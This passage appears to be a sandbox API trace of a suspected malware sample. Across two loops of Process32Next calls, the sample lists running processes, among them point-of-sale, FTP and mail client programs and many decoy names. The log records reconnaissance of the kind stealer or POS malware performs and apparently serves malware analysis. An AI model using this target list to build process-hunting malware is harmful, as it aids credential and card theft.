hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0285.530] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0285.533] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0285.536] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0285.538] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0285.541] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0285.543] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0285.546] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0285.548] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0285.551] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0285.553] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0285.556] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0285.558] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.561] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0285.563] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0285.617] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0285.620] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0285.622] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0285.624] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0285.627] CloseHandle (hObject=0x344) returned 1 [0285.627] Sleep (dwMilliseconds=0x64) [0285.660] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0285.677] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0285.681] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0285.684] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.686] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0285.688] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.741] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0285.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0285.746] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0285.748] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.752] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0285.755] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.757] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.762] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.764] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.766] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.768] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.835] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.837] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0285.840] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0285.842] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.844] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.846] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0285.897] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0285.899] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0285.902] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.904] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0285.906] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0285.908] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.910] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0285.912] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0285.914] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0285.916] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0285.918] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0285.920] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0285.922] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0285.925] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0285.927] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0285.929] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0285.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0285.933] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0285.935] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0285.937] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0285.939] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0285.992] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0285.995] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0285.997] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0285.999] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0286.001] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0286.003] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0286.005] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0286.008] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0286.010] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0286.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0286.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0286.016] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0286.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0286.021] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0286.023] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0286.026] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0286.028] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0286.031] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0286.033] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0286.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, 